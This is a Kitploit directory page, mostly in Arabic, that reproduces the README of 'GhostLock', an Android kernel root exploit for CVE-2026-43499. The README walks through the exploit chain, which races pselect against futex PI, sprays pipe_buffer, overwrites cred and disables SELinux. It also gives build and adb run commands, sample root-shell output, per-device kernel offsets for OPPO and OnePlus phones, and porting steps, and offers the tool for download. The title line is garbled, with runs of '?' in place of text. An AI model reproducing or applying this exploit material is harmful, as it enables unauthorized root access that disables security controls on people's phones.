Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
GhostLock — CVE-2026-43499 ثغرة UAF في مكدس futex PI ???????? - Android GKI 6.1~6.12 ??????? pselect() + futex PI ????????????,??? root ??? SELinux??? OPPO Find X8?OnePlus ?????? | Kitploit
أدوات/GitHubGitHub/wzhdgithub/ghostlock
أمان أندرويدتصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةاستغلال الملفات الثنائية
GitHubwzhdgithub/ghostlock

GhostLock

CVE-2026-43499 ثغرة UAF في مكدس futex PI ???????? - Android GKI 6.1~6.12 ??????? pselect() + futex PI ????????????,??? root ??? SELinux??? OPPO Find X8?OnePlus ??????

عرض المستودع
منذ 6 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

GhostLock - استغلال ثغرة رفع الامتيازات المحلية CVE-2026-43499

نظرة عامة على الثغرة

رقم CVE: CVE-2026-43499
نوع الثغرة: futex PI (ميراث الأولوية) UAF في المكدس (استخدام بعد التحرير)
النطاق المتأثر: نواة Linux 6.1 ~ 6.12 (Android GKI)
نتيجة الاستغلال: رفع امتيازات محلي + تعطيل SELinux والحصول على قشرة root

مبدأ العمل

مسار تشغيل الثغرة

root@kitploit:~
用户空间 → pselect() → 内核栈上分配 rt_mutex_waiter
                      → futex PI 操作触发 waiter 释放
                      → 释放后的 waiter 内存被 fd_set 操作重用
                      → 通过精心构造的 fd_set 数据控制 waiter 字段
                      → rb_erase() 触发任意内核内存写入

سلسلة الاستغلال

  1. تشغيل الثغرة: عبر pselect() + سباق futex PI لتحرير على مكدس النواة
rt_mutex_waiter
  • التحكم في تخطيط الذاكرة: رش كومة النواة بـ pipe_buffer لبناء rt_mutex_waiter مزيف
  • كتابة تعسفية: استخدام عمليات الشجرة في rb_erase() لكتابة مؤشرات مُتحكَم بها في العناوين المستهدفة
  • مسار رفع الامتيازات:
    • تعديل بنية cred: uid/gid → 0، capabilities → مفعّلة بالكامل
    • تعطيل SELinux: selinux_state.enforcing → 0
  • التحقق: إعادة فحص ashmem_fops للتأكد من سلامة CFI
  • هيكل المشروع

    root@kitploit:~
    GhostLock/
    ├── README.md                    # 本文档
    ├── src/
    │   ├── core/                    # 核心利用代码
    │   │   ├── main.c               # 主入口,漏洞触发
    │   │   ├── pipe.c               # pipe_buffer 喷射
    │   │   ├── fops.c               # 文件操作劫持
    │   │   ├── root.c               # 提权 + SELinux 禁用
    │   │   ├── slide.c              # 内核地址随机化处理
    │   │   ├── util.c               # 工具函数
    │   │   ├── miniadb.c            # 迷你 ADB 服务器
    │   │   ├── common.h             # 公共定义
    │   │   ├── target.h             # 目标配置
    │   │   ├── offset.h             # 偏移量包含
    │   │   ├── runtime_offsets.h    # 运行时偏移表
    │   │   └── kernelsnitch/        # 内核地址探测
    │   │       ├── kernelsnitch.h
    │   │       ├── futex_hash.h
    │   │       ├── utils.h
    │   │       └── timeutils.h
    │   └── devices/                 # 设备适配
    │       ├── offsets.h            # 偏移量结构定义
    │       ├── findx8/              # OPPO Find X8
    │       │   └── offsets.h
    │       ├── ace6t/               # OnePlus Ace 6T
    │       │   └── offsets.h
    │       ├── op15/                # OnePlus 15
    │       │   └── offsets.h
    │       ├── opd2502/             # OnePlus Pad 2
    │       │   └── offsets.h
    │       └── rmx5070/             # Realme RMX5070
    │           └── offsets.h
    ├── tools/                       # 辅助工具
    │   └── extract_btf.py           # BTF 偏移量提取脚本
    ├── btf_*.py                     # BTF 分析脚本集合
    ├── Makefile                     # 构建脚本
    ├── compile.cmd                  # Windows 编译脚本
    ├── build.rsp                    # 编译响应文件
    └── ghostlock                    # 编译产物(ELF aarch64)
    

    الأجهزة المدعومة

    الجهازإصدار النواةالحالة
    OPPO Find X8 (MT6991)6.6.118-android15✅ مُكيَّف
    OnePlus Ace 6T6.1.x✅ تم التحقق
    OnePlus 156.1.x✅ تم التحقق
    OnePlus Pad 26.1.x✅ تم التحقق
    Realme RMX50706.1.x✅ تم التحقق

    البناء

    متطلبات البيئة

    • Android NDK r27c أو أحدث
    • Python 3.x (لتحليل BTF)
    • Linux/macOS/WSL (يُنصح باستخدام Linux)

    خطوات البناء

    root@kitploit:~
    # 1. 设置 NDK 路径
    export ANDROID_NDK_HOME=/path/to/android-ndk-r27c
    
    # 2. 编译
    make
    
    # 3. 或者直接使用 NDK 编译
    $ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
      --target=aarch64-linux-android35 \
      -O2 -Wall -fPIE -pie -pthread \
      -Isrc/core -Isrc/devices \
      -DTARGET_CONFIG_H=\"target.h\" \
      src/core/*.c -o ghostlock
    

    البناء على Windows

    root@kitploit:~
    # 使用提供的 compile.cmd
    compile.cmd
    

    طريقة الاستخدام

    المتطلبات الأساسية

    1. تم تفعيل تصحيح USB على الهاتف
    2. تم تثبيت برنامج تشغيل ADB على الكمبيوتر
    3. الهاتف متصل بالكمبيوتر عبر USB

    الخطوات

    root@kitploit:~
    # 1. 确认设备连接
    adb devices
    
    # 2. 确认内核版本(必须匹配)
    adb shell uname -r
    # 期望输出: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k
    
    # 3. 推送 exploit 到手机
    adb push ghostlock /data/local/tmp/
    adb shell chmod 755 /data/local/tmp/ghostlock
    
    # 4. 运行 exploit
    adb shell /data/local/tmp/ghostlock
    

    مثال على مخرجات التشغيل

    root@kitploit:~
    [*] GhostLock - CVE-2026-43499 Local Privilege Escalation
    [*] Target kernel: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k
    [*] KASLR base: 0xffffffc080000000
    [*] ashmem_misc: 0xffffffc08227c518
    [*] ashmem_fops: 0xffffffc0812ef5c0
    [*] SELinux enforcing: 0xffffffc082358ee0
    [*] Exploiting...
    [+] PSELECT path activated
    [+] Pipe merge path activated
    [+] Root shell obtained!
    [+] SELinux disabled
    [*] miniadb listening on USB...
    

    مؤشرات النجاح

    • ظهور الموجه # (قشرة root)
    • أمر id يعرض uid=0(root)
    • getenforce يُرجع Permissive

    التفاصيل التقنية

    تخطيط ذاكرة النواة

    root@kitploit:~
    KIMAGE_TEXT_BASE = 0xffffffc080000000  (Find X8)
    PAGE_OFFSET      = 0xffffffc000000000
    PHYS_OFFSET      = 0x40000000
    DIRECT_MAP_END   = 0xffffffc400000000  (16GB RAM)
    

    إزاحات الرموز الرئيسية (Find X8)

    الرمزالإزاحة
    init_task0x0211E280
    init_cred0x02130748
    selinux_enforcing0x02358EE0
    ashmem_misc0x0227C518
    ashmem_fops0x012EF5C0
    kmalloc_caches0x0167A298

    إزاحات البنى (بتوثيق BTF)

    البنيةالحقلالإزاحة
    task_structcred0x820
    task_structreal_cred0x818
    task_structtasks0x550
    task_structpi_lock0x90C
    task_structseccomp0x8E8
    creduid0x08
    credcaps0x30
    file_operationsioctl0x48
    file_operationssplice_read0xB8

    مسار الاستغلال

    1. kernelsnitch - فحص منطقة direct_map لتحديد موقع mm_struct
    2. pipe spray - شغل ذاكرة الـ waiter المحرَّرة باستخدام pipe_buffer
    3. pselect trigger - تشغيل UAF لإعادة استخدام الـ waiter المحرَّر
    4. rb_erase write - تحقيق كتابة تعسفية عبر عمليات الشجرة الحمراء-السوداء
    5. cred patch - تعديل بيانات اعتماد العملية الحالية
    6. SELinux disable - تعطيل التحكم الإلزامي في الوصول

    تكييف الأجهزة

    إضافة جهاز جديد

    1. استخراج صورة النواة:

      root@kitploit:~
      # 从手机提取 boot.img
      adb pull /dev/block/by-name/boot boot.img
      
      # 或者从固件包中提取
      
    2. استخراج kallsyms:

      root@kitploit:~
      # 使用 vmlinux-to-elf
      python3 -m vmlinux_to_elf boot.img
      # 选择 "Extract kallsyms" 选项
      
    3. استخراج معلومات BTF:

      root@kitploit:~
      python3 btf_task2.py > task_full.txt
      python3 btf_structs2.py > structs.txt
      
    4. إنشاء إدخال الجهاز:

      root@kitploit:~
      mkdir -p src/devices/mydevice
      # 复制现有条目作为模板
      cp src/devices/findx8/offsets.h src/devices/mydevice/
      # 修改偏移量
      
    5. تسجيل الجهاز: أضف في src/devices/offsets.h:

      root@kitploit:~
      #include "mydevice/offsets.h"
      

    طرق الحصول على الإزاحات

    المعلوماتالمصدرالأداة
    عناوين الرموزkallsymsvmlinux-to-elf
    إزاحات البنىBTFbtf_task2.py
    تخطيط الذاكرة الفعليةIKCONFIGextract-ikconfig
    إصدار النواةunameadb shell uname -r

    السكربتات المساعدة

    سكربتات تحليل BTF

    root@kitploit:~
    # 提取 task_struct 完整成员
    python3 btf_task2.py > task_full.txt
    
    # 提取所有关键结构体
    python3 btf_structs2.py > structs.txt
    
    # 提取特定结构体
    python3 btf_selinux.py > selinux.txt
    python3 btf_mm.py > mm.txt
    
    # 提取原始 BTF 数据
    python3 btf_raw.py > raw.txt
    

    استخراج kallsyms

    root@kitploit:~
    # 使用 vmlinux-to-elf
    python3 -m vmlinux_to_elf extracted/Image.bin
    
    # 或者使用自定义脚本
    python3 run_kallsyms_finder.py
    

    ملاحظات الأمان

    ⚠️ تحذير: هذه الأداة مخصصة لأبحاث الأمان والاختبارات المصرح بها فقط. استخدامها على أجهزة الآخرين دون إذن يُعد عملاً غير قانوني.

    القيود المعروفة

    • يتطلب تفعيل تصحيح USB
    • يتطلب اتصال ADB (لا يمكن الاستغلال عن بُعد)
    • يجب أن يطابق إصدار النواة بدقة
    • قد تمتلك بعض الأجهزة آليات أمان إضافية

    حماية CFI

    يمكن لهذا الـ exploit تجاوز حماية سلامة تدفق التحكم (CFI) في النواة من خلال:

    1. التحقق من صحة عنوان ashmem_fops
    2. استخدام copy_splice_read كهدف استدعاء شرعي
    3. إعادة الفحص للتأكد من سلامة CFI

    التصحيح

    المشاكل الشائعة

    س: تظهر رسالة "no offsets for kernel: xxx" ج: إصدار النواة غير مدعوم، يلزم إضافة إدخال جهاز

    س: الـ exploit عالق ولا يتقدم ج: ربما فشل شرط السباق، أعد المحاولة عدة مرات

    س: يظهر kernel panic ج: غير محتمل (لم يتم تعيين panic_on_oops)، ولكن يمكنك فحص dmesg

    مخرجات التصحيح

    root@kitploit:~
    # 启用详细输出
    adb shell /data/local/tmp/ghostlock -v
    
    # 查看内核日志
    adb shell dmesg | tail -50
    

    موارد ذات صلة

    • تفاصيل CVE-2026-43499
    • البحث الأصلي لـ GhostLock
    • نواة Android GKI

    الترخيص

    هذا المشروع مرخّص بموجب رخصة MIT.

    الشكر والتقدير

    • شكرًا لمساهمات جميع الباحثين في مجال الأمان
    • شكرًا لاستجابة فريق أمان Android
    • شكرًا لدعم مجتمع المصادر المفتوحة

    آخر تحديث: 13 أغسطس 2026
    المؤلف: wzh
    التواصل: [email protected]

    تنزيل الأداة